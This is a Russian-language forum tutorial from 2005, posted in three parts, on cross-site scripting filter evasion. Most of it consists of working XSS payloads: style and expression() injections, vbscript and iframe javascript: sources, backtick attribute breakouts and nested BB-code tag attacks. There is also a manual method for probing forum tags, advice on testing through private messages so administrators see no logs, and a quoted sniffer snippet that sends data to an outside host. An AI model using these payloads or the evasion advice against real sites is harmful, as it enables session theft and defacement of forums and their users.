Просмотр полной версии : XSS крупным планом.
Thesaurus
16.12.2005, 04:55
Всем привульки, с Новым Годом ибо Я!
Слушая непрестанное прошение от пользователей античата в моей холодной, скромной аськи написать побольше статей, Я решил все таки так и сделать - написать ещё одну Гениальную статью.
Прочитав свои недавно написанные статьи, Я пришёл к выводу, что они были не столько статьи, сколько уже готовые варианты, и мне захотелось написать настоящую статью, описав все более менее подробно, как работают вещи и почему.
Пришел Я к этому выводу из-за того, что увидел, что когда Я элементарным языком объясняю и показываю мои Гениальнейшие нахождения, то никто толком ничего и не понимает. Ну понятно почему, ведь сейчас из-за меня пошел ...хлынул лучше скажу народ, который мало что где читал.
Эта статья долгая, и почерпать могут из неё как и новички, так и Алгол.
Ну начнемс иМхо....
В одной из моих статей, Я с вами рассматривал разновидные варианты обхода фильтров в параметрах атрибута style.
Напомним себе материал той статьи, так как этот материал нам еще пригодится.
<html><body><a href=www. style="back\g\r\o\u\nd:\u\r\l\(\javasc\r\i\p\t\:a\le\r\t\ (\'\w\j\'\)\)" >wj<a></body></html>
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**/'\w\j\'/**/\/**/)/**/\/**/)" >wj<a></body></html>
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/)" >wj<a></body></html>
<html><body><a href=www. style=/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*/'\w\j\'/*=*=/=\=/=*=*/)/*=*=/=\=/=*=*/) >wj<a></body></html>
Тут показывается, как ИЕ славно убирает всякие ошибки - до выполнения кода. Убирает ИЕ ошибки в параметрах как Я уже сказал раньше, ДО выполнения....и это мы с вами еще рассмотрим иМхо.
Как уже поняли, Я показывал новые обходы фильтров в параметре Style. А теперь Я бы хотел объяснить почему это
все в параметре style работает, а так же, показать методы обхода фильтров и в самих атрибутах.
Ну начнёмс иМхо заново.....
До атрибута style, можно поставить иМхо, что угодно...
Будет работать и так,
<html><body>
<WhiteJordan/style=background:url(javascript:alert(/wj/))>
</body></html>
И да, даже вот так,
<html><body>
<WhiteJordan/**/style=background:url(javascript:alert(/wj/))>
</body></html>
Да блин и вот так!
<html><body>
<WhiteJordan/*/style=background:url(javascript:alert(/wj/))>
</body></html>
Да [мат]! Так ТОЖЕ будет работать [мат]!
<html><body>
<White Jordan/*/style=background:url(javascript:alert(/wj/))>
</body></html>
Но проблема иногда бываем из-за того, что сам атрибут, "style", иногда просто фильтруется, а иногда к нему прибавляется ещё и крестик какой нить, (X) в этом случаи, это можно обойти вот так,
<html><body>
<WhiteJordan/StYlE =background:url(javascript:alert(/wj/))>
</body></html>
Где буквы S, Y и E, написаны большими буквами, а после большой буковки E, до знака равенства, (=) идут обычные пробелы.
И естественно сами пробелы, можно тоже заменить ещё и табуляциями....примерно вот так,
<html><body>
<WhiteJordan/StYlE =background:url(javascript:alert(/wj/))>
</body></html>
Тоже самое, можно употребить и для тега <img src=...>,
<html><body>
<img/src =javascript:alert(/wj/)>
</body></html>
Или
<html><body>
<img src =javascript:alert(/wj/)>
</body></html>
и
<html><body>
<img / src =javascript:alert(/wj/)>
</body></html>
Тут использовались табуляции ( ), в совокупности со слешом. (/)
Должен ещё добавить, что в середине атрибутов тега можно вписывать - что угодно...к примеру:
<html><body>
<img White Jordan src =javascript:alert(/wj/)>
</body></html>
Или вообще это все написать вот так,
<html><body>
<img/WhiteJordan/src=javascript:alert(/wj/)>
</body></html>
Атрибут img, можно и не сокращать:
<html><body>
<image/White/Jordan/src=javascript:alert(/wj/)>
</body></html>
Чуток познакомлю всех с материалом на разброс, на всякий пожарный если кто не знал или ещё что-нить такое..
В языке VbScript, в скобках, можно ТОЛЬКО вставить двойные кавычки, что-бы получить видное для глаз сообщение в коробке алёрта.
То есть вот так,
<html><body>
<img src=vbscript:alert(/wj/)>
</body></html>
Или так,
<html><body>
<img src=vbscript:alert(`wj`)>
</body></html>
Или вот так,
<html><body>
<img src=vbscript:alert('wj')>
</body></html>
Работать у вас не хера не будет.
Будет работать только вот так:
<html><body>
<img src=vbscript:alert("wj")>
</body></html>
В двух словах, если вы хотите в параметре (внутренности) атрибута тега использовать VbScript, а сам параметр заключить в кавычки, то для работоспособности вы должны будите написать вот так:
<html><body>
<img src='vbscript:alert("wj")'>
</body></html>
Или же так.
<html><body>
<img src=`vbscript:alert("wj")`>
</body></html>
Вот так у вас,
<html><body>
<img src="vbscript:alert("wj")">
</body></html>
Работать не будет.
До функции "expression", можно вставить - что угодно. Хоть так, ИЕ по барану:
<html><body>
<span style="WhiteJordan:expression(eval(window.alert(/wj/)))">wj</span>
</body></html>
Функцию "eval" писать тоже не обязательно, а функцию, "window.alert", можно сократить до "alert":
<html><body>
<span style="WhiteJordan:expression(alert(/wj/))">wj</span>
</body></html>
Или же так, создать свой собственный атрибут и назвать его, "span2", после чего его параметр будет обрабатываться JavaScript`ом.
<html><body>
<span style="WhiteJordan:expression(javascript(eval(span2)));" span2='alert(/wj2/);span2=null;'></span></body></html>
Можно конечно и так,
<html><body>
<span style='background:url(javascript:eval(window.alert ("wj")))'>
</body></html>
Чуток покажу вам браузеро не зависимые коды, то есть коды, которые работает во всех браузерах.
<html><body>
<iframe src="javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'">
</body></html>
<html><body>
<iframe src="javascript:eval(this.wj); wj=this.wj='<script>alert(/wj/);</script>'">
</body></html>
<html><body><iframe src=javascript:alert(/wj/) style='display:none;'></body></html>
<html><body>
<iframe src='javascript:eval(this.wj1); wj1=alert(/wj2/);' style='display:none'>
</body></html>
Кратко дам описание,
Потому что iframe src после знака равенства настроен на то, чтобы получать источник/адрес, то используя это, мы зададим ему вместо источника - JavaScript. Само слово, "src" сокращенна от английского слова, "source" что в переводе на русский язык означает = Источник. Функция, "eval", сокращенна от Английского слова, "Evaluate", и в переводе с Английского слова на русский, (В нашем случае) означает = "Обрабатывать, обработать". Английское слово, "This", означает в переводе на русский язык = "Это, вот это". А что именно, "это"? В данном случае мы указываем свой собственный атрибут, который мы наименовали wj1, и указали JavaScript`у, чтобы он наш новый атрибут - обработал. Атрибут и его параметр, style=display:none; вписан чтобы спрятать наш код от глаз нашей жертвы, и приведенный код, не имеет браузер зависимость и работает во всех трех популярных браузерах ИЕ, Фаерфокс и Опера. (С лева на права по проценту ихнего использования.)
Хочу вернутся чуток к атрибуту style. Как Я уже говорил, до атрибута, "style", можно писать что угодно, лишь бы после него шёл знак равенства. (=) В других словах, совсем не обязательно писать <span style=...> - для его работоспособности. Причем сам атрибут, "style", можно вписывать и с любыми другими атрибутами, а он все равно будет работать.
К примеру, возьмем тег ссылки,
<a href=http://www.wj.com>http://www.wj.com</a>
И впишем туда наш атрибут, "style",
<a href=http://www.wj.com style=background:url(javascript:alert(/wj/))>http://www.wj.com</a>
Это все хорошо....но если Я теперь пойду дальше, то те люди которые не имеют знаний - ничего не поймут.
Объясню что и как, используя тег ссылки, для краткого объяснения.
<a href=http://www.wj.com>wj1</a>
С начало идет левая угловая скобка, (<) открывающая тег, потом идет атрибут тега, (a href) потом идет знак равенства, (=) который говорит, что атрибут закончился и начался параметр атрибута, сразу после знака равенства, (=) идет параметр атрибута, (http://www.wj.com) потом идет правая закрывающая угловая скобка, (>) после нее идёт наше видимое наименование нашего тега, (wj1) а чтобы указать где наше именование кончается, мы указываем атрибут </a> и у нас получается работоспособный тег ссылки. После клика на эту ссылку, параметр атрибута образно говоря, вставится в поле адреса в верхнею часть нашего браузера, и мы на лыжах поедем по этому адресу.
Давайте посмотрим, что случится если мы в параметре атрибута - впишем пробел.
<a href=http://www.wj .com>http://www.wj.com</a>
Или табуляцию...
<a href=http://www.wj .com>http://www.wj.com</a>
А вот что будет...слово, ".com", которое до этого у нас было параметром тега, теперь из-за пробела ( ) или табуляции, ( ) стало атрибутом и теперь ждет, чтобы мы ей указали знак равенства, (=) чтобы начать свой собственный параметр.
А есть ли какой нибудь способ, чтобы в параметре атрибута указать пробел или табуляцию, и не сделать все, что идет после пробела и табуляции - атрибутом?...
Ответ = Да, есть.
Для этого в параметр тега сразу после знака равенства, вставляется одна из двух видов кавычек - одинарная, (') или двойная. (")
Чуток отвлекусь и расскажу вам кратко о кавычках....
Легальных, работоспособных кавычек в языке JavaScript - всего две. Одинарная, (') и двойная. (") Многие разработчики браузеров считают, что должна существовать только одна кавычка - двойная. Одинарную многие разработчики браузеров как легальную в языке JavaScript и в других языках - признавать не хотят. (Хоть про JavaScript чуток не в тему, однако не беда если напомню иМхо)
Написав наш код через двойные кавычки,
<a href="http://www.wj.com">http://www.wj.com</a>
Мы тем самом, указали атрибуту, что все, что будет идти в середине двойных кавычек - будет параметром атрибута тега и будет параметром атрибута тега в не зависимости если это пробел, табуляция, или даже левая или правая угловая скобка. То есть мы теперь смело можем вписывать в параметр тега пробел, ( )
<a href="http://www.wj .com">http://www.wj.com</a>
Табуляцию ( )
<a href="http://www.wj .com">http://www.wj.com</a>
Одинарную кавычку (')
<a href="http://www.wj'.com">http://www.wj.com</a>
Угловые скобки,
<a href="http://www.wj <script>alert('wj')</script>.com">http://www.wj.com</a>
И при этом все это, будет в параметрах нашего тега.
А что будет, если мы в наш параметр, который теперь заключен в двойные кавычки, впишем ещё одну двойную кавычку по середине?....
<a href="http://www.wj".com">http://www.wj.com</a>
А будет следующие....из-за того, что мы теперь закрыли нашей двойной кавычкой параметр атрибута вставив её в середину нашего параметра, из-за этого, наше слово, ".com", которое у нас раньше было параметром - стало атрибутом.
Ещё один момент, когда параметр заключен в кавычки, то не обязательно после кавычек вписывать пробел или табуляцию, чтобы иметь рабочий атрибут. То есть вполне легально написать так:
<html><body>
<a href="http://www.wj"style='background:url(javascript:alert(/wj/))'.com">http://www.wj.com</a></body></html>
И иметь работоспособный код. Не обязательно до атрибута, "style", писать пробел.
Теперь давайте рассмотрим альтернативу тегов, которые обычно называются ББ кодами и используются в e-mail`ах, в форумах, в чатах, в гостевых книгах и в других местах - как альтернативы.
В целях безопасности а главное удобности, люди пришли к выводу, что не обязательно пользователю вписывать
<a href="http://www.wj.com">http://www.wj.com</a>
Чтобы у него получилась рабочая ссылка, когда ему просто можно написать:
http://www.wj.com
Послать это со своим сообщением, а система, обработавши это, преобразует эти ББ коды в следующий результат:
<a href="http://www.wj.com">http://www.wj.com</a>
Давайте сравним их... =)))
<a href="http://www.wj.com">http://www.wj.com</a>
http://www.wj.com
Лепота....=)))))
При этом легко понять, что если мы впишем в наши ББ коды двойную кавычку,
http://www.wj.com (http://www.wj".com)
То эта безобидная кавычка, может закрыть параметр, а нам дать возможность вписать свой собственный атрибут для атаки.
<a href="http://www.wj".com">http://www.wj.com</a>
Чтобы такого не было, люди придумали вставлять фильтры, которые бы просканивали ввод пользователя и нашедши запретные объекты, или полностью бы удаляли эти запретные объекты, или изменяли бы эти объекты - на ихние зашифрованные альтернативы.
То есть сейчас почти везде, во всех форумах, чатах и гостевых книгах, написав:
http://www.wj.com (http://www.wj".com)
Мы бы получили следующий результат:
<a href="http://www.wjFILTERED.com">http://www.wj.com</a>
И тем самым, выйти из параметра атрибута - у нас бы не получилось.
А что если двойная кавычка НЕ отфильтрировалась....что вписывать тогда, чтобы совершить атаку?
Есть такая вещь, по названию "Обратный Апостроф". (`) Он не является ограничителем строк в таких языках как JavaScript, VbScript, Jscript, CSS, и так далее, однако он как раз таки является ограничителем строк, в языках HTML и XHTML, но только в браузере ИЕ. (Среди Оперы, Фаерфокс и ИЕ,)
Короче браузер ИЕ, признает одинарную кавычку, (') двойную кавычку (") и обратный апостроф (`) - как ограничителями строк в параметрах атрибутов только в языках HTML и XHTML.
Другие браузера как Опера и Фаерфокс - признают только одинарную и двойную кавычку в языках HTML и XHTML, как границами параметров.
Как все уже знаем, браузер ИЕ, может убирать не смертельные ошибки программиста....приведу несколько примеров:
<img src="java script:alert(/wj/)">
Что сделает ИЕ в этом случае? Правильно! Он ее уберет...как проверить, что он ее именно убирает?
Пишем вот так в доказательство вам:
<img src="javascript:alert( /wj/ )">
Выскочит алёрт.
<img src="javascript:alert(/ wj /)"> Выскочит алёрт.
<img src="javascript:alert(/ /)">
Алерт НЕ выскочит, потому что табуляция будет вырезана браузером ИЕ и в итоге у нас получится равно сильно следующему скрипту:
<img src="javascript:alert(//)">
То есть два не одинаково написанные скрипты:
<img src="javascript:alert(/ /)">
И
<img src="javascript:alert(//)">
- Выполнятся одинаково.
Являются ли табуляции в этих случаях ошибками? Да! Убирают ли другие браузеры эти ошибки как это делает браузер ИЕ?
лоооол Да! Хоть другие браузера как Фаерфокс и Опера этому менее и научены, (ИЕ браузер делает это лучших всех остальных браузеров,) но Фаерфокс и Опера работают по такому же принципу.
И это совсем не значит, что ИЕ является из-за этого "хуже" чем Фаерфокс или Опера или другие браузеры. Просто из-за того, что Микрасофт хотел, чтобы его браузер был бы самым распространенным по использованию, Микрасофт именно по этой причине и создал ИЕ так - как он собственно и создан. И речь совсем не идёт о глюках или ошибках ИЕ, а вообще в каком браузере их нет? И кстати в плане того, чтобы ИЕ стал наибольше использован, то в этом плане, Микрасофт свою цель - достиг.
Фаерфокс и Опера однако, придерживаются более жёсткой системе и менее научены угадывать или убирать ошибки программистов во время обрабатывания определенного языка.
А теперь мне придется закончить писать и ответить на свою статью, потому что статью у меня получилась очень долгая, а лимит здесь на форуме состоит из 20000 символов.
Thesaurus
16.12.2005, 04:56
А теперь продолжим нашу статью....
Вписываем следующий код, после того, как нам удалось выйти из параметра атрибута и создать наш собственный атрибут.
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Взгляните на самый первый по счету обратный апостроф....
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Он у нас теперь стал атрибутом...после него идёт знак равенства, который как Я уже объяснял закрывает атрибут и начинает параметр атрибута...после знака равенства, идёт второй обратный апостроф,
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Который теперь возьмет все, что после него идет в параметр...
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Потом следует ещё один обратный апостроф, который закрывает наш параметр,
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
И наконец-то, следует наш атрибут, "style", со своим параметром,
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Который тоже заключен в обратные апострофы,
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Которые ИЕ воспринимает как ограничителями параметров.
И конечно то же самое, можно и написать с одинарной кавычкой. (')
<a href="http://www.wj"'='.com">http://www.wj.com'style='background:url(javascript:alert(/wj/))'</a>
А зачем мы это все написали? Ведь не проще ли написать так и все дела?....
<html><body>
<a href="http://www.wj"style=`background:url(javascript:alert(/wj/))`.com">http://www.wj.com</a></body></html>
Ответ = Конечно проще! Но проблема в том, что в ББ кодах, ключевые слова как JavaScript и другие, очень часто фильтруется...а в большинстве случаев за пределами ББ кодов - этой фильтрации нет.
Так как обратный апостроф в параметрах является ограничителем в HTML и XHTML только в браузере ИЕ, то в браузере Фаерфокс и Опера, будет выглядеть абракадабра, которая нам сможет привлечь не нужное внимание.
Для этого можно написать код вот так и решить эту проблему.
<html><body>
<a href="http://www.wj"style='display:none'style=`background:url(javascri pt:alert(/wj/))`.com">http://www.wj.com</a></body></html>
Это спрячет наш код от глаз любого пользователя который не использует ИЕ, потому что в большинстве случаев одинарная кавычка и обратный апостроф - не фильтруются. Фильтруется только двойная кавычка, так как писатели фильтров ББ кодов наивно думают, что отфильтровав двойную кавычку, пользователь не сможет внедрить зло-целеустремленный код. В каком то случае - они правы....если параметр атрибута заключен в определенную кавычку, то хоть ты вписывай в этот параметр угловые скобки, они всё ровно сделать ничего плохого не смогут......а так ли это?
Теоретически = да, это так...ЕСЛИ все кавычки отфильтрованы.
О чем Я? О том, что если параметр ББ кода заключен в двойные кавычки а сама двойная кавычка которая нужна, чтобы этот параметр своевольно закрыть; чтобы вписывать после этого заключенного параметра в двойные кавычки свой собственный атрибут,.....то это ещё не беда. Ведь можно использовать двойные кавычки других ББ кодов, которые заключают параметры этих ББ кодов в кавычки, и закрывать первый параметр определенного кода, кавычками второго параметра, который для безопасности - заключен в кавычки.
Не поняли??? Сейчас поймете!
В ББ годах, есть два способа писать ссылку...вообще то есть ещё и третий способ, который работает когда на форуме Magic Links поставлены на "ON". Если напишем на форуме http://www.wj.com И до и после этой ссылки будет существовать пробел, то она автоматом об-работается ББ кодом и превратится в рабочую ссылку...
Но вернемся..
Вариант один:
http://www.wj.com
И вариант два,
http://www.wj.com
Результат - один и тот же:
<a href="http://www.wj.com">http://www.wj.com</a>
В первом случаи, тег:
http://www.wj.com
Нужен для того, чтобы у нас был выбор вписывать в имя нашей ссылки - что угодно. Если ещё не заметили или кто не знал, в имя ссылки,
<a href="http://www.wj.com">http://www.wj.com</a>
Можно вписывать, что угодно, не изменяя тем самым параметр атрибута...
<a href="http://www.wj.com">что угодно</a>
Если вообще ничего не вписать,
<a href="http://www.wj.com"></a>
То ссылка не отобразится.
Вернемся к нашей теме...
Что будет, если кавычкой которая начинает определенный параметр ББ кода, что будет, если мы ей закроем параметр другого ББ кода примерно вот так:
http://www.wj2.com (http://www.wj1http://www.wj3.com
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>
От сюда и появилась идея вложенных и спаренных тегов.
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>
Обратите внимание, что http://www.wj2.com
Который должен был до этого быть параметром атрибута, сам стал атрибутом. wj1<a href= Стало теперь внутри параметра, а двойная кавычка идущая после, wj1<a href=
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>
Теперь закрыла параметр первого атрибута. Мы только что рухнули структуру тегов и у нас получился взлом. Теперь чтобы закрыть атрибут http://www.wj2.com Который должен бы быть параметром а стал атрибутом и написать наш собственный параметр - нам нужно вписать знак равенства. (=)
http://www.wj2=.com (http://www.wj1http://www.wj3.com
В результат получим следующие:
<a href="http://www.wj1<a href="http://www.wj2=.com">http://www.wj2=.com</a>.com">http://www.wj3.com</a>
Слово, ".com", теперь из-за знака равенства, стало параметром атрибута http://www.wj2
Добавляем теперь слеш (/) перед нашим атрибутом http://www.wj2 а после слеша, напишем атрибут, "style", и знак равенства.
http://www.wj2/style='background:url(javascript:alert(/wj/))'.com (http://www.wj1http://www.wj3.com
Так это все будет выглядеть:
<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>
А теперь для разнообразия, отдыха и просто потому что это интересно читать - вставлю маленькую историю.
Когда Я проводил дискуссию с моим элитным другом JazzzSummerMan, который первым был кто был удостоен прочитать сырую статью века, то разговор зашёл о слешах, которые вставлены по середине атрибутов. С его разрешением, приведу часть лога из наших асек, чтобы такое мнение больше не поднималось:
12/6/2005 19:28:56, zhelezo
зачем делать так:
<WhiteJordan/**/style=background:url(javascript:alert(/wj/))>
если можно так:
<WhiteJordan/style=background:url(javascript:alert(/wj/))>
12/6/2005 19:29:24, qwertyzaq123
это один из вариантов, расчитанно на то, чтобы обойти фильтр на ящике допустим
12/6/2005 19:29:36, qwertyzaq123
это рабочии варианты чтобы обмануть фильтрыцию
12/6/2005 19:29:42, qwertyzaq123
ящиков, имейлов
12/6/2005 19:29:49, qwertyzaq123
форумов и чатов
12/6/2005 19:30:18, zhelezo
ок, но нафиг ты копируешь? написал бы
/ЛЮБАЯ_ПОСЛ_СИМВОЛОВ/
12/6/2005 19:30:31, qwertyzaq123
лол
12/6/2005 19:30:44, qwertyzaq123
просто один из вариантов
12/6/2005 19:30:59, qwertyzaq123
Ламерам только нужно copy/paste
12/6/2005 19:31:15, qwertyzaq123
Это Я на опыте научился
12/6/2005 19:31:20, qwertyzaq123
они не могут думать
12/6/2005 19:32:01, zhelezo
вот откуда это взято:
Обход фильтрации некоторых символов
<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
12/6/2005 19:32:21, qwertyzaq123
арм нет...о_О там пробел
12/6/2005 19:32:31, qwertyzaq123
/**/
12/6/2005 19:32:39, qwertyzaq123
заменяется как пробел в отом месте
12/6/2005 19:32:46, qwertyzaq123
что бы сниффер работал
12/6/2005 19:33:02, qwertyzaq123
все те варианты, Я придумовал сам чисто посмотреть что будет
12/6/2005 19:33:06, zhelezo
<image/src="1.png"/alt="Подсказка"/border="0">
12/6/2005 19:33:18, qwertyzaq123
это объяснение,
12/6/2005 19:33:25, zhelezo
да какая разница-то? разница в том что ты тэги другие написал?
12/6/2005 19:33:28, qwertyzaq123
что если параметры заключенны в кавычки
12/6/2005 19:33:42, qwertyzaq123
то пробел не нужен до следущаго атрибута
12/6/2005 19:33:49, qwertyzaq123
совсем другое чуток
12/6/2005 19:33:59, qwertyzaq123
разница в том,
12/6/2005 19:34:00, zhelezo
смотри, вот это:
<image/src="1.png"/alt="Подсказка"/border="0">
12/6/2005 19:34:04, qwertyzaq123
ну
12/6/2005 19:34:11, zhelezo
видишь атрибут и тэг разделены
12/6/2005 19:34:16, qwertyzaq123
угу
12/6/2005 19:34:24, qwertyzaq123
а точно
12/6/2005 19:34:27, zhelezo
короче лол
12/6/2005 19:34:28, qwertyzaq123
гы не заметил
12/6/2005 19:34:44, qwertyzaq123
все что написанно в статье, это было самостоятельно
12/6/2005 19:35:02, qwertyzaq123
так что если там повторяется, то это не значит что Я копировал от туда
12/6/2005 19:35:22, qwertyzaq123
все что в статье, это было когда от нечего делать, Я начил смотреть что будет если
Ну так вот, подумав о нашем разговоре где мы разговаривали о статье Алгола и zFailure`a, http://www.antichat.ru/crackchat/HTML/ Я заметил, что Я описывал чуток другое..
<image/src="1.png"/alt="Подсказка"/border="0">
Обратим внимание на image/src что мы тут видим? Мы видим, что братскии так скажем атрибуты, могут быть разделены слешом, или пробелом. Я же хотел показать, что сам атрибут style не нуждается в этом и может работать сам по себе вне зависимости - что идет до него. То есть ему совсем по барану если ДАЖЕ атрибут, который до него разделен слешом или пробелом - правильный или не правильный.
Все, что идет ниже в качестве примера, для ИЕ, как то до Питерской лампочки...код все равно будет работать:
<image style=background:url(javascript:alert(/wj/))>
<image src/style=background:url(javascript:alert(/wj/))>
Или возьмем наш выше приведенный пример, который мы использовали в ББ кодах:
<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>
Все, что отмечено черным цветом - является атрибутами. Синим цветом отмечены параметры этих атрибутов. Я хочу привлечь ваше внимание на строку, http://www.wj2/style. Эта вся строка, является атрибутом...до атрибута, "style", как вы сами видите, стоит не существующий в природе атрибут, http://www.wj2, но если поставить слеш после этого не существующего атрибута, то сам атрибут, "style", и его параметр - будут работают.
Этого объяснения в статье Algol`a и zFailure`a - нет. Более того, на всем античате этого тоже нет, так как это мне показал мой хороший друг xSpider, которого античат бацнул толком из-за того, что были подозрения что Я - это он.
Чуток отдохнули? За работу! Читаем дальше!
Если вы взломщики или просто совестные люди, которые хотели бы защитить свой форум, гостевую книгу или чат от атак XSS бессовестных взломщиков, то не нужно это делать как на http://forum.web-hack.ru...
Отключим все теги чтобы избежать атаку XSS от бессовестного Белого Джордана, но однако оставим ему две комбинации рабочих тегов, чтобы он через них смог провести атаку XSS.
Ну так вот, не нужно так делать, потому что можно теперь просто напросто использовать все мои комбинации, которыми Я пользовался и которые Я разработал, можно их использовать, чтобы предотвратить взлом через XSS и при этом, не отключать ни единого тега.
Выкладываю вам все мои комбинации ОСНОВНЫХ тегов, так как далее идущие теги после основных тегов, в основном исключительно-действующие только для определенной версии. (То есть сам-описные)
Если ни одна из этих моих комбинаций не работает, то можете спать спокойно. Ваш форум, чат или гостевая книга - хорошо защищены. Я один умнее ВСЕХ писателей фильтров, потому что писать фильтры, может только тот человек, который понимает как их обходить. Писатели движков форумов, чатов и гостевых книг - не имеют РЕАЛЬНОГО опыта который есть у меня. У них одни теории иМхо, а вообще Я Гения, вы это уже знаете.
Лучше всего, если вы что то ломаете, то смотреть результат в пред-просмотре сообщения/приватного сообщения, и желательно через браузер, "Firefox", так как только в этом браузере, встроена опция подсветника синтаксиса, которую если вы хотите, то можете отключить, ну допустим вот так:
Откройте браузер Фаерфокс, нажмите на правую кнопку мышки, выберите опцию "просмотр исходного кода страницы" наверху исходного кода страницы, вы увидите "Файл, Правка, Вид" нажмите левой кнопки мышки на значение "Вид" и уберите галку с "Подсветка синтаксиса". Если эта опции включена, то в исходном коде страницы, атрибуты и параметры, будут показываться разными цветами.
Пошлите дальше...
Если пред-просмотр отсутствует, то советую самому себе посылать приватные сообщения. Это все делается из-за того, чтобы не оставить лог Администрации, так как ДАЖЕ если вы сотрете свою мессагу на форуме или отредактируете её, то лог все ровно останется и видеть этот лог сможет только Администратор. Этому Я научился как говорится..."The hard way" +)
Вынужден опять остановится, так как опять лимит на форуме.
Thesaurus
16.12.2005, 04:58
Для начала, посмотрим какие теги работают, заключены ли параметры тегов в одинарную или двойную кавычку, (Или в обратный апостроф, хотя Я никогда не видел, чтобы параметр был заключен в обратный апостроф.) Если параметр не заключен в кавычку, то взлом считать можно законченным при условии, что мы можем добавить пробел или табуляцию. (Или что то в этом роде, так как есть и другие похожие вещи)
http://www.wj.com
http://www.wj.com
wj@wj.com
wj@wj.com
http://www.wj.gif
wj
wj
wj
И так, выбираем те теги, которые работают и Идем дальше.
Мануально сканим наши теги, на все три вида кавычек.
http://www.wj.com (http://www.wj"'`.com)
http://www.wj"'`.com
wj@wj.com (wj@wj"'`.com)
wj@wj"'`.com
http://www.wj"'`.gif
wj
wj
wj
И смаилики,
http://www.wj.com (http://www.wj.:).com)
http://www.wj.:).com
wj@wj.com (wj@wj.:).com)
wj@wj.:).com
http://www.wj.:).gif
wj
wj
wj
99.9% писателей фильтров, о смаиликах забывают. Хороший этому пример был такой профессиональный портал как http://www.securitylab.ru (Пассивная уязвимость уже не работает)
Не забудьте, что до, и после смаилика, должна стоять точка для его работоспособности. .:).
Теперь пошлите сканить каждый тег, для начала самим собою, а потом и другими рабочими тегами. То есть тег, которым мы сканим другие теги вставляя его в них, нужно сначала засунуть в самого себя.
А почему бы не просканить только одним тегом? Зачем сканить всеми? Потому что теги парсятся не одновременно, а имеют свою последовательность; что резко влияет на результат.
Процитирую Алгола,
ИМХО уязвимости спаренных тегов имеют не менее половины всех форумных движков. При поиске такого рода уязвимостей нужно учитывать, что срабатывание пары тегов зависит от порядка их парсинга в коде форума. Например связка ] срабатывает, а зеркальная связка ] - нет. Это связано с тем, что скрипт форума в первую очередь парсит тег а только затем . Если к моменту парсинга в нем будут содержаться некорректные символы, то он не преобразуется в HTML и уязвимости не будет. Таким образом, уязвимость может присутствовать только если первый тег связки парсится в первую очередь в скрипте форума.
http://www.antichat.ru/txt/IPB/index3.php
А теперь давайте возьмем первый тег ссылки,
http://www.wj.com
И засунем в него сам тег которым мы сканим, а потом уже засунем его и в другие рабочие теги.
http://www.wj.com ([color)
http://www.wj.com (http://www.wj[url).com]http://www.wj.com
http://www.wj.com (http://www.wjwj@wj.com.com)
wj@wj.com[/email].com]http://www.wj.com (http://www.wj.com]http://www.wj.com (http://www.wj.com]http://www.wj.com (http://www.wjhttp://www.wj.com (http://www.wj[color=red)
wj[/size].com]http://www.wj.com (http://www.wjhttp://www.wjhttp://www.wj.com.com
http://www.wjhttp://www.wj.com.com
http://www.wjwj@wj.com.com
http://www.wjwj@wj.com.com
http://www.wjhttp://www.wj.gif.com
http://www.wjwj.com
http://www.wjwj.com
http://www.wjwj.com
Теперь тег wj@wj.com
wj@wj.com (wj@wjhttp://www.wj.com.com)
http://www.wj.com.com]wj@wj.com (wj@wj[url)
wj@wj.com (wj@wjwj@wj.com.com)
wj@wj.com (wj@wj[email).com]wj@wj.com
http://www.wj.gif.com]wj@wj.com (wj@wj[img)
wj.com]wj@wj.com (wj@wj[font=arial)
